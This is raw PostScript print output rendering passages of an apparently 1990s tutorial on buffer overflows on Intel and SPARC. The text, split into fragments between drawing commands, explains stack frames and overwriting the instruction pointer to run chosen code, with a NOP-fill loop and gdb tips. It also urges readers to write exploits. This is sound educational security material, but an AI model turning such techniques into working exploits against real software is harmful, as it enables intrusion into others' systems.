1721 1880 13 (.) 13 SB
712 1997 199 ([example ) 196 SB
908 1997 55 (of ) 52 SB
960 1997 166 (number ) 163 SB
1123 1997 55 (of ) 52 SB
1175 1997 135 (stupid ) 132 SB
1307 1997 199 (problems ) 197 SB
1504 1997 27 (i.) 26 SB
1530 1997 48 (e. ) 45 SB
1575 1997 63 (sys) 64 SB
1639 1997 92 (tem\() 91 SB
1730 1997 43 (\), ) 40 SB
1770 1997 199 (moderate ) 196 SB
1966 1997 212 (problems, ) 209 SB
712 2055 119 (getcw) 120 SB
832 2055 42 (d\() 41 SB
873 2055 30 (\),) 29 SB
902 2055 98 ( and ) 97 SB
999 2055 175 (difficult ) 174 SB
1173 2055 106 (probl) 105 SB
1278 2055 22 (e) 23 SB
1301 2055 71 (ms ) 70 SB
1371 2055 144 (- sprint) 143 SB
1514 2055 43 (f, ) 42 SB
1556 2055 84 (etc. ) 83 SB
1639 2055 72 (for ) 71 SB
1710 2055 148 (a large ) 147 SB
1857 2055 69 (pac) 70 SB
1927 2055 107 (kage ) 106 SB
2033 2055 30 (].) 30 SB
gr
gr
1 #C
statusdict begin /manualfeed false store end
EJ RS
%%PageTrailer
%%PageResources: font Helvetica-Bold
%%+ font Times-Bold
%%+ font Times-Italic
%%+ font Times-Roman
%%Page: 2 2
%%PageResources: (atend)
SS
0 0 25 11 798 1100 300 SM
% Copyright (c) 1986-1995 Frame Technology Corporation.
/FMcmyk 100 dict def
/FmBD{bind def}bind def
/FmLD{load def}FmBD
/FMc {
FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if
4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put
}FmBD
/setcmykcolor where { pop
/sc where { pop /sc load 0 get /scignore eq {
/FMsc /sc FmLD
/sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known
{ FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse
}FmBD
} if } if
} if
mark { /S load
dup 0 get /PenW eq { dup 1 get /sl load eq {
dup 0 { PenW .75 sub sl } bind put 1 /exec load put
} if } if
} stopped cleartomark
/FmX matrix defaultmatrix def
/FmDC {transform FmX itransform cvi exch cvi exch} def
/FmBx { dup 3 index lt {3 1 roll exch} if
1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if
}FmBD
/FmPD/cleartomark FmLD
/FmPD2/cleartomark FmLD
/FmPT/pop FmLD
/FmPA{pop pop pop}FmBD
systemdict /pdfmark known {
/FmPD/pdfmark FmLD
currentdistillerparams /CoreDistVersion get 2000 ge {
/FmPD2/pdfmark FmLD
/FmPA { mark exch /Dest exch 5 3 roll
/View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD
}FmBD
} if
} if
0 0 0 0.0 0.0 0.0 1.0 FMc
gs
gs
gs
1 lc
1 lj
0 0 0 pC
0 1 SP
gs 2026 1 225 139 CB
225 139 M 2025 0 1 PP
S
n
gr
gs 2026 1 225 2953 CB
225 2953 M 2025 0 1 PP
S
n
gr
32 0 0 41 41 0 0 0 38 /Times-Italic /font11 ANSIFont font
0 0 0 fC
787 2979 27 (C) 28 SB
815 2979 166 (ompromis) 167 SB
982 2979 73 (ed - ) 74 SB
1056 2979 68 (Buff) 69 SB
1125 2979 18 (e) 19 SB
1144 2979 96 (r-Ove) 97 SB
1241 2979 38 (rfl) 39 SB
1280 2979 48 (ow) 49 SB
1329 2979 36 (s, ) 37 SB
1366 2979 88 (from ) 89 SB
1455 2979 35 (In) 34 SB
1489 2979 11 (t) 12 SB
1501 2979 29 (el) 30 SB
1531 2979 21 ( t) 22 SB
1553 2979 77 (o SP) 78 SB
1631 2979 77 (ARC) 78 SB
1709 2979 10 ( ) 11 SB
1720 2979 43 (Ve) 44 SB
1764 2979 43 (rsi) 44 SB
1808 2979 21 (o) 20 SB
1828 2979 31 (n ) 32 SB
1860 2979 21 (8) 20 SB
32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font
2225 2969 25 (3) 25 SB
gr
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
787 380 116 (This i) 115 SB
902 380 19 (s) 20 SB
922 380 13 ( ) 12 SB
934 380 22 (a) 23 SB
957 380 14 (l) 13 SB
970 380 115 (l that ) 114 SB
1084 380 105 (you r) 104 SB
1188 380 22 (e) 23 SB
1211 380 88 (ally ) 87 SB
1298 380 159 (need to ) 158 SB
1456 380 133 (unders) 134 SB
1590 380 14 (t) 13 SB
1603 380 22 (a) 23 SB
1626 380 63 (nd ) 62 SB
1688 380 52 (in ) 51 SB
1739 380 119 (order ) 118 SB
1857 380 69 (to f) 68 SB
1925 380 133 (urther ) 132 SB
2057 380 58 (res) 59 SB
2116 380 121 (earch ) 120 SB
787 438 84 (buff) 83 SB
870 438 22 (e) 23 SB
893 438 17 (r) 16 SB
909 438 13 ( ) 12 SB
921 438 213 (overflows ) 212 SB
1133 438 98 (and, ) 96 SB
1229 438 36 (w) 37 SB
1266 438 14 (i) 13 SB
1279 438 52 (th ) 51 SB
1330 438 35 (a ) 34 SB
1364 438 88 (text ) 87 SB
1451 438 113 (book ) 112 SB
1563 438 55 (or ) 53 SB
1616 438 22 (a) 23 SB
1639 438 13 ( ) 11 SB
1650 438 133 (friend,) 132 SB
1782 438 13 ( ) 12 SB
1794 438 19 (s) 20 SB
1814 438 53 (tar) 52 SB
1866 438 27 (t ) 26 SB
1892 438 158 (writing ) 156 SB
2048 438 105 (your ) 104 SB
2152 438 99 (own ) 98 SB
787 497 158 (exploits) 159 SB
946 497 13 (.) 12 SB
958 497 13 ( ) 12 SB
970 497 212 (Programm) 211 SB
1181 497 22 (e) 23 SB
1204 497 17 (r) 16 SB
1220 497 19 (s) 20 SB
1240 497 13 (,) 12 SB
1252 497 87 ( are ) 86 SB
1338 497 240 (you getting ) 239 SB
1577 497 163 (this?!?! ) 162 SB
1739 497 97 (How) 98 SB
1837 497 13 ( ) 12 SB
1849 497 163 (much m) 162 SB
2011 497 169 (ore poor) 168 SB
2179 497 13 ( ) 13 SB
787 555 149 (coding ) 148 SB
935 555 83 (mus) 84 SB
1019 555 27 (t ) 26 SB
1045 555 146 (people ) 145 SB
1190 555 22 (e) 23 SB
1213 555 92 (ndur) 91 SB
1304 555 99 (e bef) 98 SB
1402 555 77 (ore ) 76 SB
1478 555 169 (you\222ve r) 168 SB
1646 555 138 (iddled ) 137 SB
1783 555 22 (e) 23 SB
1806 555 25 (v) 24 SB
1830 555 22 (e) 23 SB
1853 555 17 (r) 16 SB
1869 555 141 (ything ) 140 SB
2009 555 52 (in ) 51 SB
2060 555 22 (a) 23 SB
2083 555 14 (l) 13 SB
2096 555 69 (l of) 68 SB
2164 555 13 ( ) 12 SB
2176 555 61 (the) 62 SB
2238 555 13 ( ) 12 SB
787 613 130 (major ) 129 SB
916 613 301 (operating syste) 302 SB
1218 613 39 (m) 38 SB
1256 613 19 (s) 20 SB
1276 613 13 ( ) 12 SB
1288 613 190 (with low ) 189 SB
1477 613 302 (level bugs and ) 301 SB
1778 613 105 (holes) 106 SB
1884 613 17 (!) 16 SB
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
225 770 81 (Det) 80 SB
305 770 101 (ails!) 100 SB
405 770 140 ( I wan) 139 SB
544 770 31 (t ) 31 SB
225 828 31 (d) 30 SB
255 828 73 (eta) 72 SB
327 828 73 (ils!) 73 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
787 772 91 (The ) 90 SB
877 772 180 (Intel stuf) 179 SB
1056 772 76 (f is ) 75 SB
1131 772 122 (fairly ) 121 SB
1252 772 19 (s) 20 SB
1272 772 31 (tr) 30 SB
1302 772 130 (aight f) 129 SB
1431 772 155 (orward.) 154 SB
1585 772 30 ( I) 29 SB
1614 772 118 (f you ) 117 SB
1731 772 255 (get stuck all ) 254 SB
1985 772 88 (you ) 87 SB
2072 772 47 (ne) 48 SB
2120 772 60 (ed ) 59 SB
2179 772 52 (to ) 52 SB
787 830 266 (do is consult ) 265 SB
1052 830 105 (your ) 104 SB
1156 830 61 (loc) 62 SB
1218 830 49 (al ) 48 SB
1266 830 166 (virus wr) 165 SB
1431 830 80 (iter.) 79 SB
1510 830 104 ( He/s) 105 SB
1615 830 25 (h) 24 SB
1639 830 22 (e) 23 SB
1662 830 13 ( ) 12 SB
1674 830 91 (will ) 90 SB
1764 830 47 (be) 48 SB
1812 830 13 ( ) 12 SB
1824 830 148 (able to ) 147 SB
1971 830 187 (give you ) 186 SB
787 888 180 (plenty of) 179 SB
966 888 169 ( details. ) 168 SB
1134 888 79 (So..) 78 SB
1212 888 26 (. ) 25 SB
1237 888 80 (sinc) 81 SB
1318 888 35 (e ) 34 SB
1352 888 130 (you pr) 129 SB
1481 888 291 (obably have a ) 290 SB
1771 888 287 (good contact f) 286 SB
2057 888 55 (or ) 54 SB
2111 888 105 (Intel ) 104 SB
787 947 130 (OS\222s \() 129 SB
916 947 212 (FreeBSD, ) 211 SB
1127 947 33 (B) 34 SB
1161 947 28 (S) 27 SB
1188 947 36 (D) 37 SB
1225 947 17 (I) 16 SB
1241 947 26 (, ) 25 SB
1266 947 133 (Linux,) 132 SB
1398 947 84 ( etc.) 83 SB
1481 947 30 (\) ) 29 SB
1510 947 62 (I\222ll) 61 SB
1571 947 76 ( do ) 75 SB
1646 947 61 (the) 62 SB
1708 947 13 ( ) 12 SB
1720 947 206 (details on ) 205 SB
1925 947 61 (the) 62 SB
1987 947 13 ( ) 12 SB
1999 947 171 (SPARC ) 171 SB
787 1005 19 (s) 20 SB
807 1005 99 (etup.) 98 SB
905 1005 30 ( [) 29 SB
934 1005 47 (W) 48 SB
982 1005 78 (hat\222) 77 SB
1059 1005 19 (s) 20 SB
1079 1005 13 ( ) 12 SB
1091 1005 176 (that you ) 175 SB
1266 1005 19 (s) 20 SB
1286 1005 82 (ay? ) 81 SB
1367 1005 205 (You don\222t) 204 SB
1571 1005 137 ( know ) 136 SB
1707 1005 22 (a) 23 SB
1730 1005 63 (ny ) 62 SB
1792 1005 152 (good vi) 151 SB
1943 1005 119 (ral wr) 118 SB
2061 1005 108 (iters?) 109 SB
2170 1005 13 ( ) 12 SB
787 1063 212 (Shame on ) 211 SB
998 1063 105 (you! ) 104 SB
1102 1063 119 (These) 120 SB
1222 1063 13 ( ) 12 SB
1234 1063 237 (people will ) 236 SB
1470 1063 170 (be able t) 169 SB
1639 1063 211 (o open up ) 210 SB
1849 1063 152 (an entir) 151 SB
2000 1063 22 (e) 23 SB
2023 1063 13 ( ) 12 SB
2035 1063 130 (world ) 129 SB
2164 1063 55 (of ) 54 SB
787 1122 158 (exploits) 159 SB
946 1122 13 ( ) 12 SB
958 1122 88 (that ) 87 SB
1045 1122 22 (c) 23 SB
1068 1122 39 (er) 38 SB
1106 1122 36 (ta) 37 SB
1143 1122 14 (i) 13 SB
1156 1122 187 (n groups ) 186 SB
1342 1122 47 (ha) 48 SB
1390 1122 60 (ve ) 59 SB
1449 1122 133 (enjoye) 134 SB
1583 1122 38 (d ) 37 SB
1620 1122 224 (singular po) 223 SB
1843 1122 19 (s) 20 SB
1863 1122 41 (se) 42 SB
1905 1122 157 (ssion of) 156 SB
2061 1122 30 (.]) 30 SB
787 1239 58 (He) 59 SB
846 1239 17 (r) 16 SB
862 1239 216 (e\222s what a ) 215 SB
1077 1239 19 (s) 20 SB
1097 1239 96 (tack ) 95 SB
1192 1239 130 (frame ) 129 SB
1321 1239 158 (in Solar) 157 SB
1478 1239 33 (is) 34 SB
1512 1239 13 ( ) 12 SB
1524 1239 223 (looks like: ) 222 SB
1746 1239 48 ([fi) 47 SB
1793 1239 144 (gure 4]) 143 SB
1936 1239 13 (.) 13 SB
787 1355 209 ([side note.) 208 SB
995 1355 26 (..) 25 SB
1020 1355 87 ( the ) 86 SB
1106 1355 22 (c) 23 SB
1129 1355 120 (allee..) 119 SB
1248 1355 13 (.) 12 SB
1260 1355 90 ( not ) 89 SB
1349 1355 198 (the caller,) 197 SB
1546 1355 79 ( has) 80 SB
1626 1355 13 ( ) 12 SB
1638 1355 52 (to ) 51 SB
1689 1355 19 (s) 20 SB
1709 1355 56 (hif) 55 SB
1764 1355 101 (t the ) 100 SB
1864 1355 133 (registe) 134 SB
1998 1355 17 (r) 16 SB
2014 1355 187 ( window ) 186 SB
787 1414 291 (and adjust the ) 290 SB
1077 1414 19 (s) 20 SB
1097 1414 160 (tack poi) 159 SB
1256 1414 105 (nter i) 104 SB
1360 1414 140 (n the S) 139 SB
1499 1414 97 (PAR) 98 SB
1597 1414 46 (C ) 45 SB
1642 1414 22 (a) 23 SB
1665 1414 17 (r) 16 SB
1681 1414 119 (chitec) 120 SB
1801 1414 14 (t) 13 SB
1814 1414 90 (ure..) 89 SB
1903 1414 90 ( not ) 89 SB
1992 1414 202 (the caller]) 201 SB
787 1647 144 (Unders) 145 SB
932 1647 14 (t) 13 SB
945 1647 22 (a) 23 SB
968 1647 89 (ndin) 88 SB
1056 1647 126 (g that ) 125 SB
1181 1647 72 (this) 73 SB
1254 1647 13 ( ) 12 SB
1266 1647 134 (is the i) 133 SB
1399 1647 236 (nformation ) 235 SB
1634 1647 63 (on ) 62 SB
1696 1647 61 (the) 62 SB
1758 1647 13 ( ) 12 SB
1770 1647 55 (sta) 56 SB
1826 1647 60 (ck ) 59 SB
1885 1647 127 (\(as ref) 126 SB
2011 1647 22 (e) 23 SB
2034 1647 17 (r) 16 SB
2050 1647 69 (enc) 70 SB
2120 1647 60 (ed ) 59 SB
2179 1647 63 (by ) 63 SB
787 1705 151 (the stac) 152 SB
939 1705 25 (k) 24 SB
963 1705 172 ( pointer\)) 171 SB
1134 1705 101 ( you ) 100 SB
1234 1705 19 (s) 20 SB
1254 1705 89 (houl) 88 SB
1342 1705 194 (d be able ) 193 SB
1535 1705 115 (to see) 116 SB
1651 1705 13 ( ) 12 SB
1663 1705 88 (that ) 87 SB
1750 1705 94 (if yo) 93 SB
1843 1705 194 (u overwri) 193 SB
2036 1705 123 (te the ) 123 SB
787 1764 58 (ins) 59 SB
846 1764 14 (t) 13 SB
859 1764 205 (ruction po) 204 SB
1063 1764 169 (inter wit) 168 SB
1231 1764 187 (h an addr) 186 SB
1417 1764 22 (e) 23 SB
1440 1764 106 (ss of ) 105 SB
1545 1764 105 (your ) 104 SB
1649 1764 120 (prefer) 119 SB
1768 1764 22 (e) 23 SB
1791 1764 167 (nce and ) 166 SB
1957 1764 137 (let the ) 136 SB
2093 1764 155 (routine ) 154 SB
787 1822 91 (do it) 90 SB
877 1822 36 (\222s) 37 SB
914 1822 13 ( ) 12 SB
926 1822 95 (RET) 94 SB
1020 1822 26 (, ) 25 SB
1045 1822 179 (you will ) 178 SB
1223 1822 19 (s) 20 SB
1243 1822 14 (t) 13 SB
1256 1822 22 (a) 23 SB
1279 1822 17 (r) 16 SB
1295 1822 430 (t executing whatever ) 429 SB
1724 1822 94 (code) 95 SB
1819 1822 13 ( ) 12 SB
1831 1822 88 (you ) 87 SB
1918 1822 36 (w) 37 SB
1955 1822 74 (ant.) 73 SB
787 1939 165 (All you ) 164 SB
951 1939 159 (need to ) 158 SB
1109 1939 330 (do is something ) 329 SB
1438 1939 337 (the equivalent of) 336 SB
1774 1939 14 (:) 14 SB
787 2055 26 ( ) 25 SB
812 2055 59 (for) 58 SB
870 2055 124 ( \(i=0; ) 123 SB
993 2055 169 (i< 4096;) 168 SB
1161 2055 100 ( i++\)) 100 SB
787 2172 26 ( ) 25 SB
812 2172 84 (buff) 83 SB
895 2172 22 (e) 23 SB
918 2172 17 (r) 16 SB
934 2172 48 ([i]) 47 SB
981 2172 168 ( = 0x90;) 167 SB
787 2289 152 (\(where ) 151 SB
938 2289 136 (buffer ) 135 SB
1073 2289 173 (is really ) 172 SB
1245 2289 19 (s) 20 SB
1265 2289 64 (om) 63 SB
1328 2289 22 (e) 23 SB
1351 2289 53 (thi) 52 SB
1403 2289 165 (ng like: ) 164 SB
1567 2289 69 (cha) 70 SB
1637 2289 17 (r) 16 SB
1653 2289 80 ( buf) 79 SB
1732 2289 73 (fer[) 72 SB
1804 2289 86 (2];\) ) 85 SB
1889 2289 102 (This ) 101 SB
1990 2289 36 (w) 37 SB
2027 2289 14 (i) 13 SB
2040 2289 140 (ll start ) 139 SB
787 2347 208 (trampling ) 207 SB
994 2347 102 (over ) 101 SB
1095 2347 122 (things) 123 SB
1218 2347 13 ( ) 12 SB
1230 2347 70 (fair) 69 SB
1299 2347 215 (ly quickly.) 214 SB
787 2464 55 (Us) 56 SB
843 2464 77 (ing ) 74 SB
917 2464 74 (the ) 72 SB
989 2464 132 (above ) 129 SB
1118 2464 44 (ps) 45 SB
1163 2464 110 (eudo ) 107 SB
1270 2464 22 (e) 23 SB
1293 2464 125 (xampl) 124 SB
1417 2464 22 (e) 23 SB
1440 2464 13 ( ) 10 SB
1450 2464 85 (and ) 83 SB
1533 2464 35 (a ) 32 SB
1565 2464 183 (program ) 180 SB
1745 2464 88 (like ) 85 SB
1830 2464 88 (gdb ) 86 SB
1916 2464 88 (you ) 85 SB
2001 2464 91 (will ) 88 SB
2089 2464 163 (quickly ) 161 SB
787 2522 19 (s) 20 SB
807 2522 157 (ee wher) 156 SB
963 2522 22 (e) 23 SB
986 2522 13 ( ) 12 SB
998 2522 195 (you need ) 194 SB
1192 2522 112 (to be ) 111 SB
1303 2522 72 (ove) 73 SB
1376 2522 17 (r) 16 SB
1392 2522 158 (writing.) 157 SB
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
225 2678 78 (Wh) 77 SB
302 2678 59 (at ) 58 SB
360 2678 90 (doe) 89 SB
449 2678 59 (s t) 58 SB
507 2678 73 (he ) 72 SB
579 2678 90 (cod) 89 SB
668 2678 70 (e I ) 69 SB
225 2737 31 (h) 30 SB
255 2737 98 (ave ) 97 SB
352 2737 76 (the) 75 SB
427 2737 61 ( IP) 62 SB
489 2737 14 ( ) 13 SB
502 2737 76 (poi) 75 SB
577 2737 62 (nt ) 61 SB
638 2737 62 (to ) 62 SB
225 2795 31 (n) 30 SB
255 2795 87 (eed) 86 SB
341 2795 62 ( to) 61 SB
402 2795 90 ( loo) 89 SB
491 2795 126 (k like) 125 SB
616 2795 31 (?) 31 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
787 2680 48 ([fi) 47 SB
834 2680 140 (gure 5 ) 139 SB
973 2680 30 (- ) 29 SB
1002 2680 130 (libc pr) 129 SB
1131 2680 142 (oblem]) 142 SB
gr
gr
1 #C
statusdict begin /manualfeed false store end
EJ RS
%%PageTrailer
%%PageResources: font Helvetica-Bold
%%+ font Times-Bold
%%+ font Times-Italic
%%+ font Times-Roman
%%Page: 3 3
%%PageResources: (atend)
SS
0 0 25 11 798 1100 300 SM
% Copyright (c) 1986-1995 Frame Technology Corporation.
/FMcmyk 100 dict def
/FmBD{bind def}bind def
/FmLD{load def}FmBD
/FMc {
FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if
4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put
}FmBD
/setcmykcolor where { pop
/sc where { pop /sc load 0 get /scignore eq {
/FMsc /sc FmLD
/sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known
{ FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse
}FmBD
} if } if
} if
mark { /S load
dup 0 get /PenW eq { dup 1 get /sl load eq {
dup 0 { PenW .75 sub sl } bind put 1 /exec load put
} if } if
} stopped cleartomark
/FmX matrix defaultmatrix def
/FmDC {transform FmX itransform cvi exch cvi exch} def
/FmBx { dup 3 index lt {3 1 roll exch} if
1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if
}FmBD
/FmPD/cleartomark FmLD
/FmPD2/cleartomark FmLD
/FmPT/pop FmLD
/FmPA{pop pop pop}FmBD
systemdict /pdfmark known {
/FmPD/pdfmark FmLD
currentdistillerparams /CoreDistVersion get 2000 ge {
/FmPD2/pdfmark FmLD
/FmPA { mark exch /Dest exch 5 3 roll
/View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD
}FmBD
} if
} if
0 0 0 0.0 0.0 0.0 1.0 FMc
gs
gs
gs
1 lc
1 lj
0 0 0 pC
0 1 SP
gs 2026 1 150 139 CB
150 139 M 2025 0 1 PP
S
n
gr
gs 2026 1 150 2953 CB
150 2953 M 2025 0 1 PP
S
n
gr
32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font
0 0 0 fC
150 2969 25 (2) 25 SB
32 0 0 41 41 0 0 0 38 /Times-Italic /font11 ANSIFont font
712 2979 27 (C) 28 SB
740 2979 166 (ompromis) 167 SB
907 2979 73 (ed - ) 74 SB
981 2979 68 (Buff) 69 SB
1050 2979 18 (e) 19 SB
1069 2979 96 (r-Ove) 97 SB
1166 2979 38 (rfl) 39 SB
1205 2979 48 (ow) 49 SB
1254 2979 36 (s, ) 37 SB
1291 2979 88 (from ) 89 SB
1380 2979 35 (In) 34 SB
1414 2979 11 (t) 12 SB
1426 2979 29 (el) 30 SB
1456 2979 21 ( t) 22 SB
1478 2979 77 (o SP) 78 SB
1556 2979 77 (ARC) 78 SB
1634 2979 10 ( ) 11 SB
1645 2979 43 (Ve) 44 SB
1689 2979 43 (rsi) 44 SB
1733 2979 21 (o) 20 SB
1753 2979 31 (n ) 32 SB
1785 2979 21 (8) 20 SB
gr
32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font
150 378 131 (Great) 130 SB
280 378 126 (... wh) 125 SB
405 378 87 (at\222s) 86 SB
491 378 87 ( so ) 86 SB
150 436 28 (c) 27 SB
177 436 76 (ool) 75 SB
252 436 14 ( ) 11 SB
263 436 90 (abo) 89 SB
352 436 48 (ut) 47 SB
399 436 14 ( ) 11 SB
410 436 48 (th) 47 SB
457 436 56 (is ) 53 SB
510 436 17 (\() 16 SB
526 436 126 (aka...) 125 SB
651 436 14 ( ) 11 SB
150 495 28 (I ) 27 SB
177 495 93 (don) 92 SB
269 495 76 (\222t g) 75 SB
344 495 45 (et) 44 SB
388 495 93 ( it\)?) 92 SB
32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font
712 380 69 (To ) 68 SB
780 380 306 (understand the ) 305 SB
1085 380 134 (import) 133 SB
1218 380 22 (a) 23 SB
1241 380 82 (nce ) 81 SB
1322 380 55 (of ) 54 SB
1376 380 72 (this) 73 SB
1449 380 13 ( ) 12 SB
1461 380 41 (it ) 40 SB
1501 380 156 (is neces) 157 SB
1658 380 96 (sary ) 95 SB
1753 380 166 (to under) 165 SB
1918 380 19 (s) 20 SB
1938 380 99 (tand ) 98 SB
2036 380 77 (a lit) 76 SB
2112 380 63 (tle ) 63 SB
712 438 198 (about the ) 197 SB
909 438 19 (s) 20 SB
929 438 31 (tr) 30 SB
959 438 180 (ucture of) 179 SB
1138 438 48 ( a ) 47 SB
1185 438 122 (\221C\222 pr) 121 SB
1306 438 141 (ogram ) 140 SB
1446 438 83 (whe) 84 SB
1530 438 38 (n ) 37 SB
1567 438 41 (it ) 40 SB
1607 438 33 (is) 34 SB
1641 438 13 ( ) 12 SB
1653 438 80 (run ) 79 SB
1732 438 22 (a) 23 SB
1755 438 63 (nd ) 62 SB
1817 438 55 (als) 56 SB
1873 438 38 (o ) 37 SB
1910 438 63 (a li) 62 SB
1972 438 201 (ttle about ) 200 SB
712 497 173 (how the ) 172 SB
884 497 130 (proces) 131 SB
1015 497 74 (sor ) 73 SB
1088 497 47 (de) 48 SB
1136 497 132 (als wit) 131 SB
1267 497 112 (h the ) 111 SB
1378 497 61 (ma) 62 SB
1440 497 121 (chine ) 120 SB
1560 497 94 (code) 95 SB
1655 497 13 ( ) 12 SB
1667 497 116 (benea) 117 SB
1784 497 52 (th ) 51 SB
1835 497 41 (it ) 40 SB
1875 497 48 ([fi) 47 SB
1922 497 144 (gure 1]) 143 SB
2065 497 13 (.) 13 SB
712 613 58 (Ne) 59 SB
771 613 25 (x) 24 SB
795 613 27 (t ) 26 SB
821 613 85 (one ) 84 SB
905 613 69 (nee) 70 SB
975 613 57 (ds ) 56 SB
1031 613 52 (to ) 51 SB
1082 613 114 (under) 113 SB
1195 613 19 (s) 20 SB
1215 613 99 (tand ) 98 SB
1313 613 99 (how ) 98 SB
1411 613 14 (t) 13 SB
1424 613 47 (he) 48 SB
1472 613 13 ( ) 11 SB
1483 613 97 (unde) 98 SB
1581 613 17 (r) 16 SB
1597 613 116 (lying ) 115 SB
1712 613 249 (architecture ) 248 SB
1960 613 115 (deals ) 114 SB
2074 613 102 (with ) 101 SB
712 672 74 (the ) 73 SB
785 672 230 (Instruction ) 229 SB
1014 672 145 (Pointer) 144 SB
1158 672 30 ( \() 29 SB
1187 672 116 (often ) 115 SB
1302 672 95 (refer) 94 SB
1396 672 77 (red ) 76 SB
1472 672 52 (to ) 51 SB
1523 672 41 (as) 42 SB
1565 672 13 ( ) 12 SB
1577 672 74 (the ) 73 SB
1650 672 112 (Progr) 111 SB
1761 672 74 (am ) 73 SB
1834 672 33 (C) 34 SB
1868 672 128 (ounter) 127 SB
1995 672 43 (\), ) 42 SB
2037 672 35 (a ) 34 SB
2071 672 70 (littl) 69 SB
2140 672 22 (e) 23 SB
2163 672 13 ( ) 12 SB
712 730 124 (about ) 122 SB
834 730 74 (the ) 72 SB
906 730 17 (r) 16 SB
922 730 80 (egis) 81 SB
1003 730 85 (ters ) 83 SB
1086 730 63 (on ) 60 SB
1146 730 74 (the ) 72 SB
1218 730 99 (chip ) 97 SB
1315 730 52 (in ) 49 SB
1364 730 91 (ques) 92 SB
1456 730 91 (tion ) 88 SB
1544 730 85 (and ) 83 SB
1627 730 110 (what ) 108 SB
1735 730 99 (they ) 97 SB
1832 730 17 (r) 16 SB
1848 730 182 (eference ) 180 SB
2028 730 34 ([f) 33 SB
2061 730 116 (igure ) 114 SB
712 788 55 (2].) 54 SB
712 905 91 (The ) 90 SB
802 905 58 (IP ) 57 SB
859 905 97 (regis) 98 SB
957 905 14 (t) 13 SB
970 905 22 (e) 23 SB
993 905 17 (r) 16 SB
1009 905 116 ( point) 115 SB
1124 905 19 (s) 20 SB
1144 905 13 ( ) 12 SB
1156 905 179 (to either ) 178 SB
1334 905 163 (the addr) 162 SB
1496 905 22 (e) 23 SB
1519 905 106 (ss of ) 105 SB
1624 905 173 (the next ) 172 SB
1796 905 58 (ins) 59 SB
1855 905 14 (t) 13 SB
1868 905 169 (ruction t) 168 SB
2036 905 98 (o be ) 98 SB
712 963 69 (exe) 70 SB
782 963 121 (cuted ) 120 SB
902 963 55 (or ) 54 SB
956 963 61 (the) 62 SB
1018 963 13 ( ) 12 SB
1030 963 149 (address) 150 SB
1180 963 13 ( ) 12 SB
1192 963 69 (of t) 68 SB
1260 963 47 (he) 48 SB
1308 963 13 ( ) 12 SB
1320 963 227 (instruction ) 226 SB
1546 963 22 (c) 23 SB
1569 963 42 (ur) 41 SB
1610 963 130 (rently ) 129 SB
1739 963 314 (being executed ) 314 SB
712 1022 238 (\(depending ) 237 SB
949 1022 113 (upon ) 112 SB
1061 1022 113 (how t) 112 SB
1173 1022 47 (he) 48 SB
1221 1022 13 ( ) 12 SB
1233 1022 188 (designers) 189 SB
1422 1022 13 ( ) 12 SB
1434 1022 68 (set ) 67 SB
1501 1022 122 (things) 123 SB
1624 1022 13 ( ) 12 SB
1636 1022 67 (up\)) 66 SB
1702 1022 26 (. ) 25 SB
1727 1022 70 (Thi) 69 SB
1796 1022 19 (s) 20 SB
1816 1022 13 ( ) 12 SB
1828 1022 60 (is t) 59 SB
1887 1022 47 (he) 48 SB
1935 1022 13 ( ) 12 SB
1947 1022 102 (crux ) 101 SB
2048 1022 42 (of) 41 SB
2089 1022 27 ( t) 26 SB
2115 1022 47 (he) 48 SB
2163 1022 13 ( ) 12 SB
712 1080 141 (matter ) 140 SB
852 1080 49 (at ) 47 SB
899 1080 47 (ha) 48 SB
947 1080 63 (nd.) 62 SB
1009 1080 13 ( ) 12 SB
1021 1080 17 (I) 16 SB
1037 1080 38 (n ) 37 SB
1074 1080 160 (general ) 159 SB
1233 1080 53 (ter) 52 SB
1285 1080 58 (ms) 59 SB
1344 1080 13 (,) 12 SB
1356 1080 13 ( ) 12 SB
1368 1080 74 (the ) 73 SB
1441 1080 124 (coder ) 122 SB
1563 1080 72 (doe) 73 SB
1636 1080 32 (s ) 31 SB
1667 1080 77 (not ) 75 SB
1742 1080 166 (directly ) 165 SB
1907 1080 107 (acces) 108 SB
2015 1080 32 (s ) 31 SB
2046 1080 74 (the ) 73 SB
2119 1080 17 (I) 16 SB
2135 1080 41 (P ) 40 SB
712 1138 176 (register. ) 175 SB
887 1138 119 (After ) 118 SB
1005 1138 66 (eac) 67 SB
1072 1138 38 (h ) 37 SB
1109 1138 227 (instruction ) 226 SB
1335 1138 33 (is) 34 SB
1369 1138 13 ( ) 12 SB
1381 1138 69 (exe) 70 SB
1451 1138 121 (cuted ) 120 SB
1571 1138 91 (the I) 90 SB
1661 1138 176 (P value i) 175 SB
1836 1138 19 (s) 20 SB
1856 1138 13 ( ) 12 SB
1868 1138 22 (a) 23 SB
1891 1138 39 (ut) 38 SB
1929 1138 158 (omatica) 159 SB
2088 1138 28 (ll) 27 SB
2115 1138 38 (y ) 38 SB
712 1197 312 (incremented to ) 311 SB
1023 1197 116 (point ) 115 SB
1138 1197 126 (to the ) 125 SB
1263 1197 130 (addres) 131 SB
1394 1197 74 (s of) 73 SB
1467 1197 87 ( the ) 86 SB
1553 1197 47 (ne) 48 SB
